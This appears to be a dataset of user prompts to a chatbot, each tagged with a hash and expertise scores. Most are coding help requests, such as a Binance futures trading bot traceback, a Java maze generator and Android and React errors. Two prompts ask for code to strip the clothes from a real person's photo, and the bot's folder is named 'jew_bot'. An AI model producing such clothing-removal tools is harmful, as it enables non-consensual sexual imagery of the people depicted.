time.sleep(1)
order = client.futures_create_order(
symbol=symbol,
side=SIDE_BUY if signal == 'buy' else SIDE_SELL,
type=ORDER_TYPE_MARKET,
quantity=order_quantity,
reduceOnly=False,
timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side, # add position side parameter
leverage=leverage
)
if order is None:
print("Order not placed successfully. Skipping setting stop loss and take profit orders.")
return
order_id = order['orderId']
print(f"Placed {signal} order with order ID {order_id} and quantity {order_quantity}")
time.sleep(1)
# Set stop loss and take profit orders
# Get the order details to determine the order price
order_info = client.futures_get_order(symbol=symbol, orderId=order_id)
if order_info is None:
print("Error getting order information. Skipping setting stop loss and take profit orders.")
return
order_price = float(order_info['avgPrice'])
# Set stop loss and take profit orders
stop_loss_price = order_price * (1 + STOP_LOSS_PERCENTAGE / 100) if signal == 'sell' else order_price * (1 - STOP_LOSS_PERCENTAGE / 100)
take_profit_price = order_price * (1 + TAKE_PROFIT_PERCENTAGE / 100) if signal == 'buy' else order_price * (1 - TAKE_PROFIT_PERCENTAGE / 100)
stop_loss_order = client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if signal == 'buy' else SIDE_BUY,
type=ORDER_TYPE_STOP_LOSS,
quantity=order_quantity,
stopPrice=stop_loss_price,
reduceOnly=True,
timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side # add position side parameter
)
take_profit_order = client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if signal == 'buy' else SIDE_BUY,
type=ORDER_TYPE_LIMIT,
quantity=order_quantity,
price=take_profit_price,
reduceOnly=True,
timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side # add position side parameter
)
# Print order creation confirmation messages
print(f"Placed stop loss order with stop loss price {stop_loss_price}")
print(f"Placed take profit order with take profit price {take_profit_price}")
time.sleep(1)
async def trading_loop():
while True:
df = getminutedata('BTCUSDT', '1m', 44640)
if df is None:
continue
signal = signal_generator(df)
print(f"The signal time is: {dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S')} :{signal}")
if signal:
order_execution('BTCUSDT', signal, MAX_TRADE_QUANTITY_PERCENTAGE, leverage) But I getting ERROR: Traceback (most recent call last):
File "c:\Users\Alan\.vscode\jew_bot\jew_bot\jew_bot.py", line 48, in <module>
df = getminutedata('BTCUSDT', '1m', 44640)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "c:\Users\Alan\.vscode\jew_bot\jew_bot\jew_bot.py", line 42, in getminutedata
frame = pd.DataFrame(klines, columns=['Open time', 'Price', 'Qty', 'QuoteQty', 'Time', 'Buyer Maker', 'Best Match'])
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\Alan\AppData\Roaming\Python\Python311\site-packages\pandas\core\frame.py", line 817, in __init__
raise ValueError("DataFrame constructor not properly called!")
ValueError: DataFrame constructor not properly called!
sys:1: RuntimeWarning: coroutine 'ClientBase._request' was never awaited
|
7c7c38e516d462e65649664e36ee5bc8
|
{
"intermediate": 0.4177858531475067,
"beginner": 0.443878710269928,
"expert": 0.1383354663848877
}
|
9,391
|
for this java code import java.util.*;
import javax.swing.JOptionPane;
public class Maze {
private final int rows;
private final int cols;
private final int[][] maze;
private final int startRow;
private final int startCol;
private final int endRow;
private final int endCol;
private final Random random;
public Maze(int rows, int cols) {
this.rows = rows;
this.cols = cols;
this.maze = new int[rows][cols];
this.startRow = 0;
this.startCol = 0;
this.endRow = rows - 1;
this.endCol = cols - 1;
this.random = new Random();
generateMaze();
}
private void generateMaze() {
// Initialize maze with blocked cells
for (int i = 0; i < rows; i++) {
for (int j = 0; j < cols; j++) {
maze[i][j] = -1; // blocked cell
}
}
// Generate paths using recursive backtracking algorithm
Stack<int[]> stack = new Stack<>();
int[] current = {0, 0};
maze[0][0] = 0; // start cell
stack.push(current);
while (!stack.isEmpty()) {
current =stack.pop();
int row = current[0];
int col = current[1];
List<int[]> neighbors = getUnvisitedNeighbors(row, col);
if (!neighbors.isEmpty()) {
stack.push(current);
int[] next = neighbors.get(random.nextInt(neighbors.size()));
int nextRow = next[0];
int nextCol = next[1];
maze[nextRow][nextCol] = 0; // path cell
stack.push(next);
}
}
// Add coins and traps randomly
for (int i = 0; i < rows; i++) {
for (int j = 0; j < cols; j++) {
if (maze[i][j] == 0) { // path cell
if (random.nextDouble() < 0.2) { // 20% chance of adding a coin
maze[i][j] = 1; // coin cell
} else if (random.nextDouble() < 0.1) { // 10% chance of adding a trap
maze[i][j] = -2; // trap cell
}
else if (random.nextDouble() < 0.05) {
maze[i][j] = -1;
}
}
}
}
}
private List<int[]> getUnvisitedNeighbors(int row, int col) {
List<int[]> neighbors = new ArrayList<>();
if (row > 0 && maze[row-1][col] == -1) { // top neighbor
neighbors.add(new int[]{row-1, col});
}
if (row < rows-1 && maze[row+1][col] == -1) { // bottom neighbor
neighbors.add(new int[]{row+1, col});
}
if (col > 0 && maze[row][col-1] == -1) { // left neighbor
neighbors.add(new int[]{row, col-1});
}
if (col < cols-1 && maze[row][col+1] == -1) { // right neighbor
neighbors.add(new int[]{row, col+1});
}
return neighbors;
}
public int[][] getMaze() {
return maze;
}
public int getStartRow() {
return startRow;
}
public int getStartCol() {
return startCol;
}
public int getEndRow() {
return endRow;
}
public int getEndCol() {
return endCol;
}
public static void main(String[] args) {
String input1 = JOptionPane.showInputDialog(null, "Enter the first integer:");
int x = Integer.parseInt(input1);
// Input the second integer
String input2 = JOptionPane.showInputDialog(null, "Enter the second integer:");
int y = Integer.parseInt(input2);
Maze Maze = new Maze(x, y); // generate a 10x10 maze
int[][] maze = Maze.getMaze(); // get the generated maze
int startRow = Maze.getStartRow(); // get the start row of the maze
int startCol = Maze.getStartCol(); // get the start column of the maze
int endRow = Maze.getEndRow(); // get the end row of the maze
int endCol = Maze.getEndCol(); // get the end column of the maze
// Iterate over the maze and print the value of each cell
for (int i = 0; i < maze.length; i++) {
for (int j = 0; j < maze[0].length; j++) {
int cell = maze[i][j];
if (cell == -1) {
System.out.print("#"); // blocked cell
} else if (cell == 0) {
System.out.print("."); // path cell
} else if (cell == 1) {
System.out.print("$"); // coin cell
} else if (cell == -2) {
System.out.print("*"); // trap cell
}
}
System.out.println();
}
// Print the start and end positions
System.out.println("Start: (" + startRow + ", " + startCol + ")");
System.out.println("End: (" + endRow + ", " + endCol + ")");
}}
|
636fec9501f34ccf27e6ddbffc219222
|
{
"intermediate": 0.31862887740135193,
"beginner": 0.39161190390586853,
"expert": 0.28975915908813477
}
|
9,392
|
this is my code: adv1_df[['tv_spent', 'radio_spent', 'newspaper_spent']] = adv1_df[['tv_spent', 'radio_spent', 'newspaper_spent']].apply(pd.to_numeric)
print(adv1_df.loc[8].mean()) but it is giving the following error : ---------------------------------------------------------------------------
KeyError Traceback (most recent call last)
Cell In[25], line 1
----> 1 adv1_df[['tv_minutes', 'radio_minutes', 'newspaper_minutes']] = adv1_df[['tv_minutes', 'radio_minutes', 'newspaper_minutes']].apply(pd.to_numeric)
3 print(adv1_df.loc[8].mean())
File ~\anaconda3\lib\site-packages\pandas\core\frame.py:3813, in DataFrame.__getitem__(self, key)
3811 if is_iterator(key):
3812 key = list(key)
-> 3813 indexer = self.columns._get_indexer_strict(key, "columns")[1]
3815 # take() does not accept boolean indexers
3816 if getattr(indexer, "dtype", None) == bool:
File ~\anaconda3\lib\site-packages\pandas\core\indexes\base.py:6070, in Index._get_indexer_strict(self, key, axis_name)
6067 else:
6068 keyarr, indexer, new_indexer = self._reindex_non_unique(keyarr)
-> 6070 self._raise_if_missing(keyarr, indexer, axis_name)
6072 keyarr = self.take(indexer)
6073 if isinstance(key, Index):
6074 # GH 42790 - Preserve name from an Index
File ~\anaconda3\lib\site-packages\pandas\core\indexes\base.py:6130, in Index._raise_if_missing(self, key, indexer, axis_name)
6128 if use_interval_msg:
6129 key = list(key)
-> 6130 raise KeyError(f"None of [{key}] are in the [{axis_name}]")
6132 not_found = list(ensure_index(key)[missing_mask.nonzero()[0]].unique())
6133 raise KeyError(f"{not_found} not in index")
KeyError: "None of [Index(['tv_minutes', 'radio_minutes', 'newspaper_minutes'], dtype='object')] are in the [columns]"
|
83b746131fda4b39b6be79229c45559d
|
{
"intermediate": 0.5243028402328491,
"beginner": 0.2810209393501282,
"expert": 0.1946762204170227
}
|
9,393
|
java script for removing man clothes from body image
|
5ada4aa37b7086509cc40820dc476619
|
{
"intermediate": 0.43970438838005066,
"beginner": 0.3180563151836395,
"expert": 0.24223929643630981
}
|
9,394
|
submit срабатывает со второго раза : package com.example.myapp_2.UI.view.activities;
import static java.security.AccessController.getContext;
import androidx.appcompat.app.AppCompatActivity;
import androidx.fragment.app.DialogFragment;
import android.app.DatePickerDialog;
import android.app.Dialog;
import android.content.Context;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.drawable.ColorDrawable;
import android.os.Bundle;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.DatePicker;
import android.widget.TextView;
import android.widget.Toast;
import com.example.myapp_2.Data.Discount_Get_table.DatePickerFragment;
import com.example.myapp_2.R;
import com.example.myapp_2.databinding.ActivityReserveTableBinding;
import java.text.DateFormat;
import java.util.Calendar;
public class ReserveTableActivity extends AppCompatActivity implements DatePickerDialog.OnDateSetListener, AdapterView.OnItemSelectedListener {
Dialog dialog;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ActivityReserveTableBinding binding = ActivityReserveTableBinding.inflate(getLayoutInflater());
setContentView(binding.getRoot());
Intent intent = getIntent();
String restaurantName = intent.getStringExtra("restaurantName");
binding.restaurantName.setText(restaurantName);
binding.back.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent resultIntent = new Intent();
setResult(RESULT_CANCELED, resultIntent);
finish();
}
});
binding.pickDate.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
DialogFragment datePicker = new DatePickerFragment();
datePicker.show(getSupportFragmentManager(), "date picker");
}
});
ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(this, R.array.times_of_day, android.R.layout.simple_spinner_item);
adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
binding.pickTime.setAdapter(adapter);
binding.pickTime.setOnItemSelectedListener(this);
binding.sendAnApplication.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
showCustomDialog(v);
}
});
binding.minus.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
int number = Integer.parseInt(binding.amountQuests.getText().toString());
if(number > 1){
binding.amountQuests.setText(Integer.toString(number-1));
}
}
});
binding.plus.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
int number = Integer.parseInt(binding.amountQuests.getText().toString());
binding.amountQuests.setText(Integer.toString(number+1));
}
});
// Create dialog instance
dialog = new Dialog(this);
}
private void showCustomDialog(View v) {
dialog.setContentView(R.layout.table_dialog);
dialog.getWindow().setBackgroundDrawable(new ColorDrawable(Color.TRANSPARENT));
Button submit = findViewById(R.id.sendAnApplication);
Button close = dialog.findViewById(R.id.close);
TextView date = dialog.findViewById(R.id.date);
TextView time = dialog.findViewById(R.id.time);
TextView amountOfQuests = dialog.findViewById(R.id.amountOfQuests);
TextView wishes = dialog.findViewById(R.id.wishes);
TextView name = dialog.findViewById(R.id.person_name);
TextView phoneNumber = dialog.findViewById(R.id.phoneNumber);
TextView date1 = v.findViewById(R.id.date);
TextView time1 = v.findViewById(R.id.time);
TextView amountOfQuests1 = v.findViewById(R.id.amountOfQuests);
TextView wishes1 = v.findViewById(R.id.wishes);
TextView name1 = v.findViewById(R.id.person_name);
TextView phoneNumber1 = v.findViewById(R.id.phoneNumber);
close.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
dialog.dismiss(); // Dismiss the dialog instead of calling setResult and finish
}
});
submit.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
dialog.cancel();
Toast.makeText(v.getContext(), "Registration approved", Toast.LENGTH_SHORT).show();
onBackPressed(); // Return to previous fragment
}
});
}
@Override
public void onBackPressed() {
super.onBackPressed();
// Toast.makeText(v.getContext(), "Registration approved", Toast.LENGTH_SHORT).show();
}
@Override
public void onDateSet(DatePicker view, int year, int month, int dayOfMonth) {
Calendar c = Calendar.getInstance();
c.set(Calendar.YEAR, year);
c.set(Calendar.MONTH, month);
c.set(Calendar.DAY_OF_MONTH, dayOfMonth);
String currentDateString = DateFormat.getDateInstance(DateFormat.FULL).format(c.getTime());
TextView textView = findViewById(R.id.date); // Use findViewById from the activity, not from the dialog view
textView.setText(currentDateString);
}
@Override
public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
// String text = parent.getItemAtPosition(position).toString();
// Toast.makeText(parent.getContext(),text,Toast.LENGTH_SHORT).show();
}
@Override
public void onNothingSelected(AdapterView<?> parent) {
}
}
|
63035f9b87c2e148193d817efa1a20bf
|
{
"intermediate": 0.2715274393558502,
"beginner": 0.3724639415740967,
"expert": 0.3560085892677307
}
|
9,395
|
make the following look more professional: "Get Smart on the Costs: Another way to reduce cost is to look at the cost of futures as an input of hurdle rate to investment decisions about overlay strategies. This would require us to develop a better process to estimate what the cost of futures will look like for a specified holding horizon. For this purpose, the quant research team, in collaboration with Risk and PRM teams, have built a generic forecasting model for the two key drivers of the cost: CTD cheapening and net basis change. Below is an illustration of two key elements in the forecasting model using the FV contract as an example: (1) The richer the CTD is at the start of the futures contract, the more cheapening there will be at expiry. This is reflected in the negative slope of the fitted line between the entry level CTD valuation in terms of spline spread and its cheapening at expiry. (2) The cheapening also depends on the days to expiry. For newly initiated futures contracts, they generally have more certainty and sensitivity to cheapening than contracts approaching expiry. This is reflected in the declining R-Squared and beta coefficients in the table below. "
|
d63fb169acb5ff5f0fda82c364d8448c
|
{
"intermediate": 0.33026057481765747,
"beginner": 0.31528234481811523,
"expert": 0.3544570505619049
}
|
9,396
|
I used this code: import time
from binance.client import Client
from binance.enums import *
from binance.exceptions import BinanceAPIException
import pandas as pd
import requests
import json
import numpy as np
import pytz
import datetime as dt
date = dt.datetime.now().strftime("%m/%d/%Y %H:%M:%S")
print(date)
url = "https://api.binance.com/api/v1/time"
t = time.time()*1000
r = requests.get(url)
result = json.loads(r.content)
# API keys and other configuration
API_KEY = ''
API_SECRET = ''
client = Client(API_KEY, API_SECRET)
STOP_LOSS_PERCENTAGE = -50
TAKE_PROFIT_PERCENTAGE = 100
MAX_TRADE_QUANTITY_PERCENTAGE = 100
POSITION_SIDE_SHORT = 'SELL'
POSITION_SIDE_LONG = 'BUY'
symbol = 'BTCUSDT'
quantity = 1
order_type = 'MARKET'
leverage = 125
max_trade_quantity_percentage = 1
client = Client(API_KEY, API_SECRET)
def getminutedata(symbol, interval, lookback):
klines = client.get_historical_trades(symbol=symbol,interval=interval, limit=lookback, endTime=int(time.time()*1000))
# Cast tuples to lists
klines_values = list(klines.values())
frame = pd.DataFrame(klines_values, columns=['Open time', 'Price', 'Qty', 'QuoteQty', 'Time', 'Buyer Maker', 'Best Match'])
frame = frame[['Open time', 'Price', 'Qty']]
frame['Open time'] = pd.to_datetime(frame['Open time'], unit='ms').dt.tz_localize('UTC').dt.tz_convert('Etc/GMT+3')
frame.set_index('Open time', inplace=True)
frame.drop(frame.tail(1).index, inplace=True) # Drop the last candle we fetched
return frame
df = getminutedata('BTCUSDT', '1m', 44640)
def signal_generator(df):
open = df.Open.iloc[-1]
close = df.Close.iloc[-1]
previous_open = df.Open.iloc[-2]
previous_close = df.Close.iloc[-2]
# Bearish pattern
if (open>close and
previous_open<previous_close and
close<previous_open and
open>=previous_close):
return 'sell'
# Bullish pattern
elif (open<close and
previous_open>previous_close and
close>previous_open and
open<=previous_close):
return 'buy'
# No clear pattern
else:
return ''
df = getminutedata('BTCUSDT', '1m', 44640)
def order_execution(symbol, signal, max_trade_quantity_percentage, leverage):
signal = signal_generator(df)
max_trade_quantity = None
account_balance = client.futures_account_balance()
usdt_balance = float([x['balance'] for x in account_balance if x['asset'] == 'USDT'][0])
max_trade_quantity = usdt_balance * max_trade_quantity_percentage/100
# Close long position if signal is opposite
long_position = None
short_position = None
positions = client.futures_position_information(symbol=symbol)
for p in positions:
if p['positionSide'] == 'LONG':
long_position = p
elif p['positionSide'] == 'SHORT':
short_position = p
if long_position is not None and short_position is not None:
print("Multiple positions found. Closing both positions.")
if long_position is not None:
client.futures_create_order(
symbol=symbol,
side=SIDE_SELL,
type=ORDER_TYPE_MARKET,
quantity=long_position['positionAmt'],
reduceOnly=True
)
time.sleep(1)
if short_position is not None:
client.futures_create_order(
symbol=symbol,
side=SIDE_BUY,
type=ORDER_TYPE_MARKET,
quantity=short_position['positionAmt'],
reduceOnly=True
)
time.sleep(1)
print("Both positions closed.")
if signal == 'buy':
position_side = POSITION_SIDE_LONG
opposite_position = short_position
elif signal == 'sell':
position_side = POSITION_SIDE_SHORT
opposite_position = long_position
else:
print("Invalid signal. No order placed.")
return
order_quantity = 0
if opposite_position is not None:
order_quantity = min(max_trade_quantity, abs(float(opposite_position['positionAmt'])))
if opposite_position is not None and opposite_position['positionSide'] != position_side:
print("Opposite position found. Closing position before placing order.")
client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if
opposite_position['positionSide'] == POSITION_SIDE_LONG
else
SIDE_BUY,
type=ORDER_TYPE_MARKET,
quantity=order_quantity,
reduceOnly=True,
positionSide=opposite_position['positionSide']
)
time.sleep(1)
order = client.futures_create_order(
symbol=symbol,
side=SIDE_BUY if signal == 'buy' else SIDE_SELL,
type=ORDER_TYPE_MARKET,
quantity=order_quantity,
reduceOnly=False,
timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side, # add position side parameter
leverage=leverage
)
if order is None:
print("Order not placed successfully. Skipping setting stop loss and take profit orders.")
return
order_id = order['orderId']
print(f"Placed {signal} order with order ID {order_id} and quantity {order_quantity}")
time.sleep(1)
# Set stop loss and take profit orders
# Get the order details to determine the order price
order_info = client.futures_get_order(symbol=symbol, orderId=order_id)
if order_info is None:
print("Error getting order information. Skipping setting stop loss and take profit orders.")
return
order_price = float(order_info['avgPrice'])
# Set stop loss and take profit orders
stop_loss_price = order_price * (1 + STOP_LOSS_PERCENTAGE / 100) if signal == 'sell' else order_price * (1 - STOP_LOSS_PERCENTAGE / 100)
take_profit_price = order_price * (1 + TAKE_PROFIT_PERCENTAGE / 100) if signal == 'buy' else order_price * (1 - TAKE_PROFIT_PERCENTAGE / 100)
stop_loss_order = client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if signal == 'buy' else SIDE_BUY,
type=ORDER_TYPE_STOP_LOSS,
quantity=order_quantity,
stopPrice=stop_loss_price,
reduceOnly=True,
timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side # add position side parameter
)
take_profit_order = client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if signal == 'buy' else SIDE_BUY,
type=ORDER_TYPE_LIMIT,
quantity=order_quantity,
price=take_profit_price,
reduceOnly=True,
timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side # add position side parameter
)
# Print order creation confirmation messages
print(f"Placed stop loss order with stop loss price {stop_loss_price}")
print(f"Placed take profit order with take profit price {take_profit_price}")
time.sleep(1)
async def trading_loop():
while True:
df = getminutedata('BTCUSDT', '1m', 44640)
if df is None:
continue
signal = signal_generator(df)
print(f"The signal time is: {dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S')} :{signal}")
if signal:
order_execution('BTCUSDT', signal, MAX_TRADE_QUANTITY_PERCENTAGE, leverage)
time.sleep(1) But I getting ERROR: File "c:\Users\Alan\.vscode\jew_bot\jew_bot\jew_bot.py", line 49, in <module>
df = getminutedata('BTCUSDT', '1m', 44640)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "c:\Users\Alan\.vscode\jew_bot\jew_bot\jew_bot.py", line 42, in getminutedata
klines_values = list(klines.values())
^^^^^^^^^^^^^
AttributeError: 'coroutine' object has no attribute 'values'
sys:1: RuntimeWarning: coroutine 'ClientBase._request' was never awaited Please give me right code
|
ae34d41d752642603a03fe5b28b8ab8c
|
{
"intermediate": 0.45784154534339905,
"beginner": 0.3602979779243469,
"expert": 0.18186047673225403
}
|
9,397
|
I used this code: import time
from binance.client import Client
from binance.enums import *
from binance.exceptions import BinanceAPIException
import pandas as pd
import requests
import json
import numpy as np
import pytz
import datetime as dt
date = dt.datetime.now().strftime("%m/%d/%Y %H:%M:%S")
print(date)
url = "https://api.binance.com/api/v1/time"
t = time.time()*1000
r = requests.get(url)
result = json.loads(r.content)
# API keys and other configuration
API_KEY = ''
API_SECRET = ''
client = Client(API_KEY, API_SECRET)
STOP_LOSS_PERCENTAGE = -50
TAKE_PROFIT_PERCENTAGE = 100
MAX_TRADE_QUANTITY_PERCENTAGE = 100
POSITION_SIDE_SHORT = 'SELL'
POSITION_SIDE_LONG = 'BUY'
symbol = 'BTCUSDT'
quantity = 1
order_type = 'MARKET'
leverage = 125
max_trade_quantity_percentage = 1
client = Client(API_KEY, API_SECRET)
def getminutedata(symbol, interval, lookback):
klines = client.get_klines(symbol=symbol, interval=interval, limit=lookback, endTime=int(time.time()*1000))
# Cast tuples to lists
frame = pd.DataFrame(klines, columns=['Open time', 'Price', 'Qty', 'QuoteQty', 'Time', 'Buyer Maker', 'Best Match'])
frame = frame[['Open time', 'Price', 'Qty']]
frame['Open time'] = pd.to_datetime(frame['Open time'], unit='ms').dt.tz_localize('UTC').dt.tz_convert('Etc/GMT+3')
frame.set_index('Open time', inplace=True)
frame.drop(frame.tail(1).index, inplace=True) # Drop the last candle we fetched
return frame
df = getminutedata('BTCUSDT', '1m', 44640)
def signal_generator(df):
open = df.Open.iloc[-1]
close = df.Close.iloc[-1]
previous_open = df.Open.iloc[-2]
previous_close = df.Close.iloc[-2]
# Bearish pattern
if (open>close and
previous_open<previous_close and
close<previous_open and
open>=previous_close):
return 'sell'
# Bullish pattern
elif (open<close and
previous_open>previous_close and
close>previous_open and
open<=previous_close):
return 'buy'
# No clear pattern
else:
return ''
df = getminutedata('BTCUSDT', '1m', 44640)
def order_execution(symbol, signal, max_trade_quantity_percentage, leverage):
signal = signal_generator(df)
max_trade_quantity = None
account_balance = client.futures_account_balance()
usdt_balance = float([x['balance'] for x in account_balance if x['asset'] == 'USDT'][0])
max_trade_quantity = usdt_balance * max_trade_quantity_percentage/100
# Close long position if signal is opposite
long_position = None
short_position = None
positions = client.futures_position_information(symbol=symbol)
for p in positions:
if p['positionSide'] == 'LONG':
long_position = p
elif p['positionSide'] == 'SHORT':
short_position = p
if long_position is not None and short_position is not None:
print("Multiple positions found. Closing both positions.")
if long_position is not None:
client.futures_create_order(
symbol=symbol,
side=SIDE_SELL,
type=ORDER_TYPE_MARKET,
quantity=long_position['positionAmt'],
reduceOnly=True
)
time.sleep(1)
if short_position is not None:
client.futures_create_order(
symbol=symbol,
side=SIDE_BUY,
type=ORDER_TYPE_MARKET,
quantity=short_position['positionAmt'],
reduceOnly=True
)
time.sleep(1)
print("Both positions closed.")
if signal == 'buy':
position_side = POSITION_SIDE_LONG
opposite_position = short_position
elif signal == 'sell':
position_side = POSITION_SIDE_SHORT
opposite_position = long_position
else:
print("Invalid signal. No order placed.")
return
order_quantity = 0
if opposite_position is not None:
order_quantity = min(max_trade_quantity, abs(float(opposite_position['positionAmt'])))
if opposite_position is not None and opposite_position['positionSide'] != position_side:
print("Opposite position found. Closing position before placing order.")
client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if
opposite_position['positionSide'] == POSITION_SIDE_LONG
else
SIDE_BUY,
type=ORDER_TYPE_MARKET,
quantity=order_quantity,
reduceOnly=True,
positionSide=opposite_position['positionSide']
)
time.sleep(1)
order = client.futures_create_order(
symbol=symbol,
side=SIDE_BUY if signal == 'buy' else SIDE_SELL,
type=ORDER_TYPE_MARKET,
quantity=order_quantity,
reduceOnly=False,
timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side, # add position side parameter
leverage=leverage
)
if order is None:
print("Order not placed successfully. Skipping setting stop loss and take profit orders.")
return
order_id = order['orderId']
print(f"Placed {signal} order with order ID {order_id} and quantity {order_quantity}")
time.sleep(1)
# Set stop loss and take profit orders
# Get the order details to determine the order price
order_info = client.futures_get_order(symbol=symbol, orderId=order_id)
if order_info is None:
print("Error getting order information. Skipping setting stop loss and take profit orders.")
return
order_price = float(order_info['avgPrice'])
# Set stop loss and take profit orders
stop_loss_price = order_price * (1 + STOP_LOSS_PERCENTAGE / 100) if signal == 'sell' else order_price * (1 - STOP_LOSS_PERCENTAGE / 100)
take_profit_price = order_price * (1 + TAKE_PROFIT_PERCENTAGE / 100) if signal == 'buy' else order_price * (1 - TAKE_PROFIT_PERCENTAGE / 100)
stop_loss_order = client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if signal == 'buy' else SIDE_BUY,
type=ORDER_TYPE_STOP_LOSS,
quantity=order_quantity,
stopPrice=stop_loss_price,
reduceOnly=True,
timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side # add position side parameter
)
take_profit_order = client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if signal == 'buy' else SIDE_BUY,
type=ORDER_TYPE_LIMIT,
quantity=order_quantity,
price=take_profit_price,
reduceOnly=True,
timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side # add position side parameter
)
# Print order creation confirmation messages
print(f"Placed stop loss order with stop loss price {stop_loss_price}")
print(f"Placed take profit order with take profit price {take_profit_price}")
time.sleep(1)
async def trading_loop():
while True:
df = getminutedata('BTCUSDT', '1m', 44640)
if df is None:
continue
signal = signal_generator(df)
print(f"The signal time is: {dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S')} :{signal}")
if signal:
await order_execution('BTCUSDT', signal, MAX_TRADE_QUANTITY_PERCENTAGE, leverage)
time.sleep(1) But I getting ERROR: File "c:\Users\Alan\.vscode\jew_bot\jew_bot\jew_bot.py", line 48, in <module>
df = getminutedata('BTCUSDT', '1m', 44640)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "c:\Users\Alan\.vscode\jew_bot\jew_bot\jew_bot.py", line 42, in getminutedata
frame = pd.DataFrame(klines, columns=['Open time', 'Price', 'Qty', 'QuoteQty', 'Time', 'Buyer Maker', 'Best Match'])
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\Alan\AppData\Roaming\Python\Python311\site-packages\pandas\core\frame.py", line 817, in __init__
raise ValueError("DataFrame constructor not properly called!")
ValueError: DataFrame constructor not properly called!
sys:1: RuntimeWarning: coroutine 'ClientBase._request' was never awaited
PS C:\Users\Alan\.vscode\jew_bot> & "C:/Program Files/Python311/python.exe" c:/Users/Alan/.vscode/jew_bot/jew_bot/jew_bot.py
05/31/2023 18:38:33
Traceback (most recent call last):
File "c:\Users\Alan\.vscode\jew_bot\jew_bot\jew_bot.py", line 48, in <module>
df = getminutedata('BTCUSDT', '1m', 44640)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "c:\Users\Alan\.vscode\jew_bot\jew_bot\jew_bot.py", line 42, in getminutedata
frame = pd.DataFrame(klines, columns=['Open time', 'Price', 'Qty', 'QuoteQty', 'Time', 'Buyer Maker', 'Best Match'])
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\Alan\AppData\Roaming\Python\Python311\site-packages\pandas\core\frame.py", line 817, in __init__
raise ValueError("DataFrame constructor not properly called!")
ValueError: DataFrame constructor not properly called!
|
a1d9cf8fc6b8afff0e22f0418eaed3d7
|
{
"intermediate": 0.4636877179145813,
"beginner": 0.35741952061653137,
"expert": 0.17889279127120972
}
|
9,398
|
python create a function that takes a folder as input and zips everything inside in rar format and saves it to output file
|
1ad811c692d74dc7acf55f7fa70b5390
|
{
"intermediate": 0.3997935950756073,
"beginner": 0.2892031967639923,
"expert": 0.3110032379627228
}
|
9,399
|
write a java script for removing man clothes from body image of this image : file:///C:/Users/Syed%20Sharfuddin/OneDrive/Desktop/New%20folder%20(4)/dream_TradingCard.jpg
|
aa71794822c23427d21e570cc6f44234
|
{
"intermediate": 0.39864200353622437,
"beginner": 0.22184501588344574,
"expert": 0.3795129358768463
}
|
9,400
|
hi
|
85b3a91fb414f4a991c66efe1e5f74ef
|
{
"intermediate": 0.3246487081050873,
"beginner": 0.27135494351387024,
"expert": 0.40399640798568726
}
|
9,401
|
Объясни ошибку: Objects are not valid as a React child (found: object with keys {title, image, product}). If you meant to render a collection of children, use an array instead.
at throwOnInvalidObjectType (http://localhost:3000/static/js/bundle.js:28206:13)
at reconcileChildFibers (http://localhost:3000/static/js/bundle.js:28982:11)
at reconcileChildren (http://localhost:3000/static/js/bundle.js:31909:32)
at updateHostComponent (http://localhost:3000/static/js/bundle.js:32553:7)
at beginWork (http://localhost:3000/static/js/bundle.js:33998:18)
at HTMLUnknownElement.callCallback (http://localhost:3000/static/js/bundle.js:18984:18)
at Object.invokeGuardedCallbackDev (http://localhost:3000/static/js/bundle.js:19028:20)
at invokeGuardedCallback (http://localhost:3000/static/js/bundle.js:19085:35)
at beginWork$1 (http://localhost:3000/static/js/bundle.js:38959:11)
at performUnitOfWork (http://localhost:3000/static/js/bundle.js:38206:16)
|
bfa0c6b1feac364163362ed4dda2a50c
|
{
